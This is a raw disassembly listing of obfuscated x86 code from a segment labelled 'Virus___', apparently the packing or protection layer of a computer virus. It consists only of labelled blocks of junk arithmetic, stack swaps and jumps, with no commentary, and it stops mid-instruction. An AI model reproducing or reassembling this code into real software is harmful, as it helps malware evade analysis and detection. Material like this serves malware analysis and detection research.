Virus___:0057A468j add esp, 4 add edi, 4 xchg edi, [esp] pop esp add dword ptr [esp], 37AF6B81h push eax mov eax, 32A15466h sub [esp+4], eax mov eax, [esp] add esp, 4 sub [esp], eax sub esp, 4 jmp loc_5754DD ; --------------------------------------------------------------------------- loc_579CDF: ; CODE XREF: Virus___:0057C425j not ebx xor edx, ebx xor ebx, edx xor edx, ebx shl edx, 4 and edx, 11D81B76h push ecx push eax mov eax, 61641B59h mov ecx, eax pop eax sub edx, ecx pop ecx xor edx, 0AEB3FDD5h add ebx, edx pop edx push ebx jmp loc_57ABDF ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_579D14: ; CODE XREF: Virus___:0057F050j mov [esp], edx mov edx, 3CDF59C2h xor ecx, edx mov edx, [esp] jmp loc_5798DB ; --------------------------------------------------------------------------- loc_579D26: ; CODE XREF: Virus___:00578DECj xor [esp], ebx xor ebx, [esp] mov esp, [esp] push 5717h mov [esp], ebp push 4801h jmp loc_57C814 ; --------------------------------------------------------------------------- loc_579D41: ; CODE XREF: Virus___:00573078j push edx push ecx mov cl, 0B7h dec cl shl cl, 1 or cl, 0E8h dec cl add cl, 0E2h mov dl, cl pop ecx neg dl neg dl neg dl shl dl, 5 add dl, 0E5h mov cl, dl jmp loc_578DAC ; --------------------------------------------------------------------------- loc_579D67: ; CODE XREF: Virus___:005759C3j sub esi, 4 jmp loc_57D2F8 ; --------------------------------------------------------------------------- loc_579D72: ; CODE XREF: Virus___:00576370j sub esi, ecx mov ecx, [esp] add esp, 4 add esi, 6A6F454Eh push ecx mov ecx, 9DC7B48h sub ecx, 758F51F9h shr ecx, 1 dec ecx jmp loc_573AAF ; --------------------------------------------------------------------------- loc_579D94: ; CODE XREF: Virus___:005743ACj push edi jmp loc_57C903 ; --------------------------------------------------------------------------- loc_579D9A: ; CODE XREF: Virus___:00574C3Fj mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi add ebp, 4 xchg ebp, [esp] pop esp jmp loc_57BC26 ; --------------------------------------------------------------------------- loc_579DB4: ; CODE XREF: Virus___:00573744j mov esi, esp jmp loc_57DFC0 ; --------------------------------------------------------------------------- loc_579DBB: ; CODE XREF: Virus___:0057E244j not word ptr [esp] pop bx xor [esp], bx xor bx, [esp] xor [esp], bx jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_579DD2: ; CODE XREF: Virus___:0057AF4Ej pop ebp push eax mov eax, 34A00014h or eax, 13592A48h push ebx mov ebx, 2F310DE6h xor ebx, 5A5830D7h xor eax, ebx jmp loc_573AFA ; --------------------------------------------------------------------------- db 0ACh, 51h, 0B5h dd 0AD65E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_579DFA: ; CODE XREF: Virus___:00576765j pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], ebx mov ebx, 4000h and eax, ebx jmp loc_577761 ; --------------------------------------------------------------------------- loc_579E10: ; CODE XREF: Virus___:0057CE77j sub cl, ah add cl, 59h jmp loc_5797A8 ; --------------------------------------------------------------------------- loc_579E1A: ; CODE XREF: Virus___:005793A4j mov bh, 29h add bh, cl pop ecx xor bh, dh pop edx sub cl, bh pop ebx add cl, 87h jmp loc_574027 ; --------------------------------------------------------------------------- loc_579E2D: ; CODE XREF: Virus___:0057BBDFj push ebp mov ebp, 2C761F06h sub ebp, 207A488h xor edx, ebp jmp loc_57B936 ; --------------------------------------------------------------------------- loc_579E40: ; CODE XREF: Virus___:00579AF5j mov eax, [esp] add esp, 4 xor edi, [esp] jmp loc_577692 ; --------------------------------------------------------------------------- loc_579E4E: ; CODE XREF: Virus___:005795B8j mov bl, 8 jmp loc_57D376 ; --------------------------------------------------------------------------- loc_579E55: ; CODE XREF: Virus___:00578838j add esi, 4 xchg esi, [esp] pop esp jmp loc_573DAF ; --------------------------------------------------------------------------- loc_579E61: ; CODE XREF: Virus___:005755E6j add esi, ecx pop ecx jmp loc_575516 ; --------------------------------------------------------------------------- loc_579E69: ; CODE XREF: Virus___:00577D40j mov [esp], ecx pop eax push dword ptr [esp] pop ecx push esi push esp pop esi add esi, 4 push ebp mov ebp, 4 add esi, ebp jmp loc_579129 ; --------------------------------------------------------------------------- loc_579E87: ; CODE XREF: Virus___:0057BD88j shr ebx, 6 neg ebx xor ebx, 375B68A8h push edi mov edi, 69F3193Dh or edi, 7AE56AC2h and edi, 43D9438Bh or edi, 37635E35h or edi, 4DCA063Bh sub edi, 3529160Dh sub ebx, edi pop edi xor ebx, 0EB38FA78h add eax, ebx pop ebx add ebx, eax pop eax pop edx xor ebx, eax pop eax loc_579EC9: ; CODE XREF: Virus___:00579928j push 4CAFh mov [esp], edi jmp loc_57D519 ; --------------------------------------------------------------------------- mov ax, [esp] push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 push eax mov eax, 1B493EDFh jmp loc_572B74 ; --------------------------------------------------------------------------- loc_579EF7: ; CODE XREF: Virus___:00578476j mov edx, [esp] push ecx push esp pop ecx jmp loc_575FFD ; --------------------------------------------------------------------------- loc_579F02: ; CODE XREF: Virus___:00579889j pop esp or eax, eax jz loc_57D72E push dword ptr [edi+1Ch] jmp loc_573B9B ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx jmp loc_576D45 ; --------------------------------------------------------------------------- loc_579F1C: ; CODE XREF: Virus___:0057C354j add eax, 682370AEh jmp loc_5765B3 ; --------------------------------------------------------------------------- loc_579F26: ; CODE XREF: Virus___:0057591Cj push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov ax, [esp] jmp loc_57DCCD ; --------------------------------------------------------------------------- loc_579F3B: ; CODE XREF: Virus___:0057EC0Aj pop esi add esi, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx mov ecx, 4 jmp loc_57DFA2 ; --------------------------------------------------------------------------- loc_579F62: ; CODE XREF: Virus___:00578BFFj mov ebx, 248F494Bh or ebx, 1ACA59E8h not ebx dec ebx and ebx, 59A80DD8h neg ebx xor ebx, 21111510h mov esi, ebx jmp loc_57C75F ; --------------------------------------------------------------------------- loc_579F85: ; CODE XREF: Virus___:0057887Cj push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_572D77 ; --------------------------------------------------------------------------- loc_579F98: ; CODE XREF: Virus___:0057778Aj mov [esp], ecx push 5C4Ch mov [esp], eax sub dword ptr [esp], 532F3A95h pop ecx add ecx, 532F3A95h mov edx, ecx pop ecx jmp loc_5743D4 ; --------------------------------------------------------------------------- loc_579FB9: ; CODE XREF: Virus___:00575401j mov edx, esp jmp loc_577AFF ; --------------------------------------------------------------------------- loc_579FC0: ; CODE XREF: Virus___:0057502Aj mov eax, [esp] add esp, 4 push ebp jmp loc_57986F ; --------------------------------------------------------------------------- loc_579FCC: ; CODE XREF: Virus___:00574DB9j xor bh, cl pop ecx jmp loc_57EEDF ; --------------------------------------------------------------------------- loc_579FD4: ; CODE XREF: Virus___:0057AB76j pop dword ptr [esp] pop esp push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 push ebp mov ebp, 10B645C3h push ebx push 13E17CD6h pop ebx jmp loc_57D1E3 ; --------------------------------------------------------------------------- loc_579FFF: ; CODE XREF: Virus___:00577F1Cj push esp pop edi push ebp mov ebp, 7F9F05B1h or ebp, 0DD9351Dh xor ebp, 228639FCh jmp loc_57B46A ; --------------------------------------------------------------------------- loc_57A018: ; CODE XREF: Virus___:0057EAF4j and ebx, 30F612FCh sub ebx, 132B7F6Dh xor ebx, 130DFBF1h mov esi, ebx jmp loc_57E9D0 ; --------------------------------------------------------------------------- loc_57A031: ; CODE XREF: Virus___:0057E0C0j mov edx, eax jmp loc_573ECB ; --------------------------------------------------------------------------- loc_57A038: ; CODE XREF: Virus___:005745B5j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_57C888 ; --------------------------------------------------------------------------- loc_57A046: ; CODE XREF: Virus___:0057BB64j add esp, 4 pop dword ptr [esp] pop esp add [esp], eax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_57BC6B ; --------------------------------------------------------------------------- loc_57A05F: ; CODE XREF: Virus___:00573015j xchg edx, [esp] pop esp jmp loc_575300 ; --------------------------------------------------------------------------- loc_57A068: ; CODE XREF: Virus___:00576481j push esp pop esi jmp loc_575039 ; --------------------------------------------------------------------------- loc_57A06F: ; CODE XREF: Virus___:00575446j mov ebp, [esp] add esp, 4 sub esp, 4 jmp loc_578F13 ; --------------------------------------------------------------------------- loc_57A07D: ; CODE XREF: Virus___:0057B4A8j xor esi, 0E7B19B3h add esi, 741E3B63h xor esi, 0C085ED8Bh shr esi, 4 and esi, 3107489h xor esi, 3C855DF4h sub eax, 49BF663Ah sub eax, esi add eax, 49BF663Ah pop esi push ebx mov ebx, 26A30527h shr ebx, 3 push edi jmp loc_57DC18 ; --------------------------------------------------------------------------- loc_57A0BA: ; CODE XREF: Virus___:005760D8j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], eax jmp loc_574942 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_57D9D5 ; --------------------------------------------------------------------------- loc_57A0D4: ; CODE XREF: Virus___:00576729j mov bl, 0F2h jmp loc_57C4AC ; --------------------------------------------------------------------------- loc_57A0DB: ; CODE XREF: Virus___:0057926Ej pop esi jmp loc_5773F2 ; --------------------------------------------------------------------------- loc_57A0E1: ; CODE XREF: Virus___:0057DA88j push 4F64h jmp loc_579A9D ; --------------------------------------------------------------------------- loc_57A0EB: ; CODE XREF: Virus___:00574078j sub edx, 22EF4854h pop edi xchg edx, [esp] pop esp and ebx, ebp mov ebp, [esp] add esp, 4 or ebx, ebx jnz loc_577A38 sub esp, 4 mov [esp], eax mov eax, 20h add eax, 2AE01C3h push ecx mov ecx, 16B62C43h add eax, ecx mov ecx, [esp] add esp, 4 add eax, 37FC5ED6h add eax, edi sub eax, 37FC5ED6h push ebp mov ebp, 53780FACh add ebp, 6CBD1E48h shl ebp, 2 dec ebp shl ebp, 5 push ebx mov ebx, 2C96562Ah jmp loc_575971 ; --------------------------------------------------------------------------- loc_57A154: ; CODE XREF: Virus___:0057B668j pop dword ptr [esp] pop esp jmp loc_57883D ; --------------------------------------------------------------------------- loc_57A15D: ; CODE XREF: Virus___:0057CCB2j pop ebx add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_574FED ; --------------------------------------------------------------------------- loc_57A16C: ; CODE XREF: Virus___:00573360j push ebx push ecx mov ecx, 360B587Eh add ecx, 2B31345Ch add ecx, 353CB886h mov ebx, ecx pop ecx mov ecx, ebx jmp loc_57C0D0 ; --------------------------------------------------------------------------- loc_57A189: ; CODE XREF: Virus___:0057BD6Fj sub ebx, 2B655C17h add ebx, ecx add ebx, 2B655C17h pop ecx sub ebx, 7AA37185h push dword ptr [eax] jmp loc_57B420 ; --------------------------------------------------------------------------- loc_57A1A5: ; CODE XREF: Virus___:0057B6FEj xor esi, eax push dword ptr [esp] pop eax add esp, 4 add eax, esi pop esi push eax mov eax, 4DB61632h sub ebx, eax pop eax jmp loc_57BC04 ; --------------------------------------------------------------------------- loc_57A1C2: ; CODE XREF: Virus___:00577C67j mov eax, ecx mov ebx, eax pop eax pop ecx pop esi mov ebp, ebx pop ebx add esi, ebp jmp loc_5755C6 ; --------------------------------------------------------------------------- loc_57A1D3: ; CODE XREF: Virus___:00577E5Bj add eax, esi pop esi add eax, 4 push 6539h mov [esp], eax push dword ptr [esp+4] push dword ptr [esp] jmp loc_5736B1 ; --------------------------------------------------------------------------- loc_57A1ED: ; CODE XREF: Virus___:00579132j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx push 5CFFh mov [esp], ebp mov ebp, 78964C8Eh jmp loc_57B2EB ; --------------------------------------------------------------------------- loc_57A214: ; CODE XREF: Virus___:0057EBC6j mov eax, 4CD609EAh shl eax, 6 neg eax xor eax, 0CA7D8584h sub esi, 35FA5573h add esi, eax add esi, 35FA5573h pop eax add esi, 4 xchg esi, [esp] pop esp push ecx mov ecx, 0C93E49F0h sub ebp, ecx jmp loc_57A350 ; --------------------------------------------------------------------------- loc_57A246: ; CODE XREF: Virus___:0057982Bj mov [esp], esi jmp loc_57E2BB ; --------------------------------------------------------------------------- loc_57A24E: ; CODE XREF: Virus___:0057631Fj pop edx pop esi or edx, 1D2C21FFh shr edx, 6 sub edx, 2F7F803h jmp loc_5738D9 ; --------------------------------------------------------------------------- loc_57A264: ; CODE XREF: Virus___:0057B16Fj push esp mov esi, [esp] add esp, 4 jmp loc_57DB7C ; --------------------------------------------------------------------------- loc_57A270: ; CODE XREF: Virus___:00576D02j pop ebx jmp loc_5778D9 ; --------------------------------------------------------------------------- loc_57A276: ; CODE XREF: Virus___:00574E1Fj xor edi, [esp] jmp loc_57D897 ; --------------------------------------------------------------------------- loc_57A27E: ; CODE XREF: Virus___:00575C0Bj push ebx mov ebx, 1AB64BBAh or ebx, 5154782Dh add ebx, 0FF57D9CFh add ecx, ebx pop ebx jmp loc_573169 ; --------------------------------------------------------------------------- loc_57A298: ; CODE XREF: Virus___:0057D58Bj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_57734C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] add dword ptr [esp], 72417AB4h push dword ptr [esp] jmp loc_57D568 ; --------------------------------------------------------------------------- loc_57A2B8: ; CODE XREF: Virus___:0057E148j sub bh, cl add bh, 0DAh push ax push edx jmp loc_576E05 ; --------------------------------------------------------------------------- loc_57A2C5: ; CODE XREF: Virus___:0057D819j add eax, ebx push 7529h jmp loc_578A50 ; --------------------------------------------------------------------------- loc_57A2D1: ; CODE XREF: Virus___:0057C5D9j add [esp+8], edx pop edx mov edx, [esp] jmp loc_57EDBE ; --------------------------------------------------------------------------- loc_57A2DE: ; CODE XREF: Virus___:00572F3Dj sub ebx, 2C93FA16h sub ebp, 2BE381Ch add ebp, 9172F0Ah sub ebp, 250F0686h sub ebp, ebx add ebp, 250F0686h jmp loc_577E4D ; --------------------------------------------------------------------------- loc_57A303: ; CODE XREF: Virus___:00579C59j push esp pop eax jmp loc_5742E6 ; --------------------------------------------------------------------------- loc_57A30A: ; CODE XREF: Virus___:0057DF2Ej xor ecx, eax push 28Eh mov [esp], edx mov edx, ebx push edx add dword ptr [esp], 1C647B41h pop eax sub eax, 1C647B41h jmp loc_5747F7 ; --------------------------------------------------------------------------- loc_57A329: ; CODE XREF: Virus___:005772D0j pop ecx push esi jmp loc_57BD94 ; --------------------------------------------------------------------------- loc_57A330: ; CODE XREF: Virus___:005778C8j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_576C70 ; --------------------------------------------------------------------------- loc_57A33E: ; CODE XREF: Virus___:0057E558j neg edx shl edx, 4 xor edx, 2509E553h add edi, edx jmp loc_5737FE ; --------------------------------------------------------------------------- loc_57A350: ; CODE XREF: Virus___:0057A241j pop ecx add edx, ebp jmp loc_57911B ; --------------------------------------------------------------------------- loc_57A358: ; CODE XREF: Virus___:0057E777j mov [esp], eax mov eax, 56861419h add [esp+4], eax pop eax mov eax, [esp] push 5DB2h jmp loc_57DFD4 ; --------------------------------------------------------------------------- loc_57A372: ; CODE XREF: Virus___:005792D8j add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop edi jmp loc_576CB9 ; --------------------------------------------------------------------------- loc_57A382: ; CODE XREF: Virus___:0057601Dj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 jmp loc_57489B ; --------------------------------------------------------------------------- loc_57A39A: ; CODE XREF: Virus___:0057BE64j push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_57E4CD ; --------------------------------------------------------------------------- loc_57A3AE: ; CODE XREF: Virus___:0057BCC0j push ecx mov ch, 0C7h jmp loc_5799EF ; --------------------------------------------------------------------------- loc_57A3B6: ; CODE XREF: Virus___:0057D9F2j push edx mov dl, 2Ah mov bl, 0C5h sub bl, dl pop edx xor bl, 0F5h push cx mov ch, 0A8h xor bl, ch pop cx dec bl not bl xor bl, 0E2h add bl, 0D7h sub al, bl pop ebx sub esp, 4 mov [esp], edx push ecx mov cl, 0BFh mov dh, cl jmp loc_57B2E1 ; --------------------------------------------------------------------------- loc_57A3E9: ; CODE XREF: Virus___:0057A4A0j add edx, 4 sub edx, 4 push edx push dword ptr [esp+4] jmp loc_57ECCF ; --------------------------------------------------------------------------- loc_57A3FF: ; CODE XREF: Virus___:0057CA85j push ebx jmp loc_573778 ; --------------------------------------------------------------------------- loc_57A405: ; CODE XREF: Virus___:00575CBBj xchg ebp, [esp] pop esp jmp loc_5730CA ; --------------------------------------------------------------------------- loc_57A40E: ; CODE XREF: Virus___:00572F58j pop esp and eax, edi pop edi or eax, eax jz loc_57E2C6 push 4279h mov [esp], edx mov edx, 28h add edx, edi push ecx mov ecx, 0 push eax mov eax, 1AE60147h not eax and eax, 562402C3h neg eax add eax, 88A9125Ch sub ecx, eax pop eax add ecx, 76EE28F9h add ecx, 3E497E1Bh jmp loc_579B02 ; --------------------------------------------------------------------------- loc_57A457: ; CODE XREF: Virus___:005764C8j pop edi jmp loc_579341 ; --------------------------------------------------------------------------- loc_57A45D: ; CODE XREF: Virus___:00579171j add edi, eax add edi, 456864DAh mov eax, [esp] jmp loc_579CAD ; --------------------------------------------------------------------------- loc_57A46D: ; CODE XREF: Virus___:0057695Bj xor ebp, 0C0279F3Ch mov esi, ebp jmp loc_57EA92 ; --------------------------------------------------------------------------- loc_57A47A: ; CODE XREF: Virus___:005746F8j add esp, 4 mov eax, [esp] jmp loc_57CA09 ; --------------------------------------------------------------------------- loc_57A488: ; CODE XREF: Virus___:00577371j mov dh, 0F5h add bl, dh mov edx, [esp] add esp, 4 push eax mov ah, 0C4h jmp loc_57B2B7 ; --------------------------------------------------------------------------- loc_57A49D: ; CODE XREF: Virus___:0057D1F1j push edx push esp pop edx jmp loc_57A3E9 ; --------------------------------------------------------------------------- loc_57A4A5: ; CODE XREF: Virus___:005779C2j mov ebp, 2 add esi, ebp pop ebp xchg esi, [esp] jmp loc_578A0C ; --------------------------------------------------------------------------- loc_57A4B5: ; CODE XREF: Virus___:00577529j xor eax, edi pop edi jmp loc_57B687 ; --------------------------------------------------------------------------- loc_57A4BD: ; CODE XREF: Virus___:0057BABCj push ebx mov bh, 1Fh push ecx mov ch, bh mov dh, ch mov ecx, [esp] jmp loc_57B2D6 ; --------------------------------------------------------------------------- loc_57A4CD: ; CODE XREF: Virus___:0057C889j mov [esp], ax jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57A4D6: ; CODE XREF: Virus___:0057A94Cj not dword ptr [esp] pop eax shr eax, 8 add eax, 0FF94FC42h add ebx, eax pop eax jmp loc_574FD2 ; --------------------------------------------------------------------------- loc_57A4EA: ; CODE XREF: Virus___:0057726Aj add eax, ecx add eax, 35EB4769h jmp loc_574B57 ; --------------------------------------------------------------------------- loc_57A4F6: ; CODE XREF: Virus___:00574682j push esi pop edi mov esi, [esp] jmp loc_57C2CD ; --------------------------------------------------------------------------- loc_57A500: ; CODE XREF: Virus___:0057E49Bj pop ebx add ebx, 0C08E606h mov ebp, ebx push dword ptr [esp] pop ebx add esp, 4 and eax, ebp mov ebp, [esp] jmp loc_5743FA ; --------------------------------------------------------------------------- loc_57A51D: ; CODE XREF: Virus___:0057C937j add ecx, 2 jmp loc_57CD8B ; --------------------------------------------------------------------------- loc_57A528: ; CODE XREF: Virus___:0057D9C2j xor [esp], edx jmp loc_576399 ; --------------------------------------------------------------------------- loc_57A530: ; CODE XREF: Virus___:005776ABj push 4587h mov [esp], ebp mov ebp, ebx push ebp pop eax push dword ptr [esp] pop ebp push ecx mov ecx, esp push edx push ebp mov ebp, 62B17FB8h jmp loc_573229 ; --------------------------------------------------------------------------- loc_57A54F: ; CODE XREF: Virus___:00578979j push ebx push esi mov esi, 4F71410Dh add [esp+4], esi pop esi push dword ptr [esp] jmp loc_575F37 ; --------------------------------------------------------------------------- loc_57A563: ; CODE XREF: Virus___:0057C7B6j add ecx, edx add ecx, 7384F8Eh push edx jmp loc_57AE5E ; --------------------------------------------------------------------------- loc_57A571: ; CODE XREF: Virus___:00576B7Ej mov esi, 47CC6DF1h or esi, 33FF23B7h inc esi neg esi jmp loc_57E74F ; --------------------------------------------------------------------------- loc_57A584: ; CODE XREF: Virus___:00573873j sub ebx, 5B5A7DF5h xor ebx, 0B740B79Ah add esi, ebx pop ebx xchg esi, [esp] pop esp test cl, al pushf jmp loc_574955 ; --------------------------------------------------------------------------- loc_57A59F: ; CODE XREF: Virus___:0057C46Aj sub edx, 10C651F5h add ebp, 1F621493h add ebp, edx sub ebp, 1F621493h mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] xor ebp, [esp] jmp loc_57808C ; --------------------------------------------------------------------------- loc_57A5CF: ; CODE XREF: Virus___:0057BBD5j push ecx jmp loc_573F5A ; --------------------------------------------------------------------------- loc_57A5D5: ; CODE XREF: Virus___:0057D943j add edx, ebx jmp loc_574220 ; --------------------------------------------------------------------------- loc_57A5DC: ; CODE XREF: Virus___:0057D65Bj sub ecx, edi pop edi jmp loc_575284 ; --------------------------------------------------------------------------- loc_57A5E4: ; CODE XREF: Virus___:0057AC3Bj add ecx, eax jmp loc_57EB96 ; --------------------------------------------------------------------------- loc_57A5EB: ; CODE XREF: Virus___:00572C74j xchg ebp, [esp] not ebp xchg ebp, [esp] pop ebx xchg eax, ebx jmp loc_57A7FD ; --------------------------------------------------------------------------- loc_57A5FA: ; CODE XREF: Virus___:00574982j mov ecx, [esp] add esp, 4 or eax, 8BB4367h shl eax, 6 xor eax, 3ED2E087h jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57A615: ; CODE XREF: Virus___:0057931Aj mov dh, ah pop ax push ebx push edx mov dh, 0E2h mov bl, 0EDh jmp loc_5759C8 ; --------------------------------------------------------------------------- loc_57A624: ; CODE XREF: Virus___:00578F55j add [eax], ecx mov ecx, [esp] add esp, 4 jmp loc_57AE22 ; --------------------------------------------------------------------------- loc_57A634: ; CODE XREF: Virus___:00575BC3j add edx, esi add edx, 438D38E1h pop esi jmp loc_573DA0 ; --------------------------------------------------------------------------- loc_57A642: ; CODE XREF: Virus___:0057DDD3j mov [esp], ebx push esi jmp loc_57B40D ; --------------------------------------------------------------------------- loc_57A64B: ; CODE XREF: Virus___:0057A7DCj add ebx, ebp pop ebp jmp loc_57D315 ; --------------------------------------------------------------------------- loc_57A653: ; CODE XREF: Virus___:00578273j pop esi pop edi xor ebp, [esp] jmp loc_57D560 ; --------------------------------------------------------------------------- loc_57A65D: ; CODE XREF: Virus___:0057DD78j xchg eax, esi jmp loc_57DD13 ; --------------------------------------------------------------------------- loc_57A663: ; CODE XREF: Virus___:0057902Cj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57A668: ; CODE XREF: Virus___:0057E801j add ebx, 6DD259B1h add ebx, edi sub ebx, 6DD259B1h jmp loc_57AB7B ; --------------------------------------------------------------------------- loc_57A67B: ; CODE XREF: Virus___:00579807j add ecx, 4 xchg ecx, [esp] mov esp, [esp] push ebp mov ebp, 7AA37185h add ebx, ebp pop ebp push eax push 535642E2h pop eax jmp loc_5798EB ; --------------------------------------------------------------------------- loc_57A699: ; CODE XREF: Virus___:005779F7j sub bl, dh jmp loc_57D97A ; --------------------------------------------------------------------------- loc_57A6A0: ; CODE XREF: Virus___:005753F0j add dx, 35E7h or dx, 3E46h neg dx dec dx push small 3B0Ah mov [esp], bp mov bp, 0DD86h add dx, bp jmp loc_577259 ; --------------------------------------------------------------------------- loc_57A6C3: ; CODE XREF: Virus___:0057E92Bj pop ecx push ebp push dword ptr [esp+4] pop ebp jmp loc_577CE9 ; --------------------------------------------------------------------------- loc_57A6CF: ; CODE XREF: Virus___:0057BCAAj push edx mov edx, 4 mov ebp, edx pop edx add ecx, ebp push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_572DF9 ; --------------------------------------------------------------------------- loc_57A6F2: ; CODE XREF: Virus___:0057D165j pop ebx push ebx push ecx jmp loc_57C6E6 ; --------------------------------------------------------------------------- loc_57A6FA: ; CODE XREF: Virus___:00576C46j pop edi add eax, ecx jmp loc_57497D ; --------------------------------------------------------------------------- loc_57A702: ; CODE XREF: Virus___:00577BBBj mov edx, 6B83300Ch jmp loc_575817 ; --------------------------------------------------------------------------- loc_57A70C: ; CODE XREF: Virus___:00579157j add eax, 29BD0336h jmp loc_57E5EC ; --------------------------------------------------------------------------- loc_57A716: ; CODE XREF: Virus___:00573D1Ej pop dword ptr [esp] mov esp, [esp] jmp loc_57997F ; --------------------------------------------------------------------------- loc_57A721: ; CODE XREF: Virus___:0057DBFAj add ebx, edi push edi mov edi, 67194323h add edi, 0C7CA165Bh jmp loc_57AF31 ; --------------------------------------------------------------------------- loc_57A734: ; CODE XREF: Virus___:005777DBj pop esi xor ebx, 12E56D8Ah add esi, ebx jmp loc_57B0E2 ; --------------------------------------------------------------------------- loc_57A742: ; CODE XREF: Virus___:0057CD05j dec edi xor edi, 36A5390Ch and edi, 37207B5Fh add edi, 2165E32h sub edi, 331B484Ch jmp loc_57BF27 ; --------------------------------------------------------------------------- loc_57A760: ; CODE XREF: Virus___:00576DA4j not edx jmp loc_5744A6 ; --------------------------------------------------------------------------- loc_57A767: ; CODE XREF: Virus___:0057440Fj pop ebp push ebx jmp loc_577BEE ; --------------------------------------------------------------------------- loc_57A76E: ; CODE XREF: Virus___:0057F019j add edi, 1 shr edi, 7 xor edi, 4E87643Dh jmp loc_57D233 ; --------------------------------------------------------------------------- loc_57A782: ; CODE XREF: Virus___:005766F0j sub edi, edx push ebx mov ebx, 38C72845h jmp loc_57E668 ; --------------------------------------------------------------------------- loc_57A78F: ; CODE XREF: Virus___:0057B246j sub esp, 4 mov [esp], eax push edx mov edx, 1Ch mov eax, edx mov edx, [esp] add esp, 4 add eax, 6DC233D2h add eax, edi sub eax, 6DC233D2h push dword ptr [eax] add dword ptr [esp], 7FB46CF0h jmp loc_57B596 ; --------------------------------------------------------------------------- loc_57A7BD: ; CODE XREF: Virus___:00575637j push small 165h mov [esp], cx mov ch, 0EFh jmp loc_573E47 ; --------------------------------------------------------------------------- loc_57A7CC: ; CODE XREF: Virus___:00573577j sub [edi+20h], eax push dword ptr [esp] pop eax push ebx mov ebx, esp push ebp mov ebp, 4 jmp loc_57A64B ; --------------------------------------------------------------------------- loc_57A7E1: ; CODE XREF: Virus___:005788A6j push esp mov ebp, [esp] add esp, 4 push edx jmp loc_577F79 ; --------------------------------------------------------------------------- loc_57A7EE: ; CODE XREF: Virus___:00578EC7j push ecx push edx mov dl, 0F5h mov cl, dl push dword ptr [esp] pop edx jmp loc_57698E ; --------------------------------------------------------------------------- loc_57A7FD: ; CODE XREF: Virus___:0057A5F5j sub esp, 4 mov [esp], edx jmp loc_5761E2 ; --------------------------------------------------------------------------- loc_57A80B: ; CODE XREF: Virus___:00577325j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57A810: ; CODE XREF: Virus___:0057B988j xor ebx, [esp] pop esp sub eax, 2AA02CDh jmp loc_577DCD ; --------------------------------------------------------------------------- loc_57A81E: ; CODE XREF: Virus___:00575E9Fj xchg edi, [esp] mov esp, [esp] push edi mov edi, 2000000h jmp loc_57B001 ; --------------------------------------------------------------------------- loc_57A82F: ; CODE XREF: Virus___:00574978j not ah sub ah, 0AFh xor ch, ah pop eax push bx mov bl, 0D2h xor ch, bl pop bx sub al, ch mov ecx, [esp] add esp, 4 push ebx mov bh, 0A3h dec bh add bh, 1 and bh, 6Bh dec bh add bh, 1 sub bh, 3Fh xor bh, 0D0h add bh, 1Fh jmp loc_57E12D ; --------------------------------------------------------------------------- loc_57A868: ; CODE XREF: Virus___:00578306j push edx mov dh, 14h dec dh and dh, 0ECh sub dh, 96h jmp loc_574A0C ; --------------------------------------------------------------------------- loc_57A878: ; CODE XREF: Virus___:005761DDj pop ebx mov ebp, 0EBD62B8Dh jmp loc_574252 ; --------------------------------------------------------------------------- loc_57A883: ; CODE XREF: Virus___:0057EE9Bj mov esi, 4 add ebp, esi pop esi xchg ebp, [esp] pop esp jmp loc_575FED ; --------------------------------------------------------------------------- loc_57A894: ; CODE XREF: Virus___:0057C4A7j push esp jmp loc_5744C0 ; --------------------------------------------------------------------------- loc_57A89A: ; CODE XREF: Virus___:00578A17j pop edx sub ecx, eax pop eax xchg ecx, [esp] pop esp jmp loc_577FD7 ; --------------------------------------------------------------------------- loc_57A8A7: ; CODE XREF: Virus___:00578FC7j add esp, 4 pop eax push eax mov ah, 0FFh jmp loc_57AFD1 ; --------------------------------------------------------------------------- loc_57A8B6: ; CODE XREF: Virus___:005752ACj push dword ptr [esp] pop eax add esp, 4 jmp loc_574F1A ; --------------------------------------------------------------------------- loc_57A8C2: ; CODE XREF: Virus___:0057D3FEj dec ebp add ebp, 0CE97580Eh mov ecx, ebp pop ebp sub ebp, ecx jmp loc_579A74 ; --------------------------------------------------------------------------- loc_57A8D3: ; CODE XREF: Virus___:0057C144j push esi push eax jmp loc_574040 ; --------------------------------------------------------------------------- loc_57A8DA: ; CODE XREF: Virus___:00574769j xor ecx, 6E000FBCh xor ecx, 0F566813Ch add esi, ecx mov ecx, [esp] add esp, 4 sub esi, eax push ecx jmp loc_57D4E5 ; --------------------------------------------------------------------------- loc_57A8F9: ; CODE XREF: Virus___:00572A87j mov dl, al mov ch, 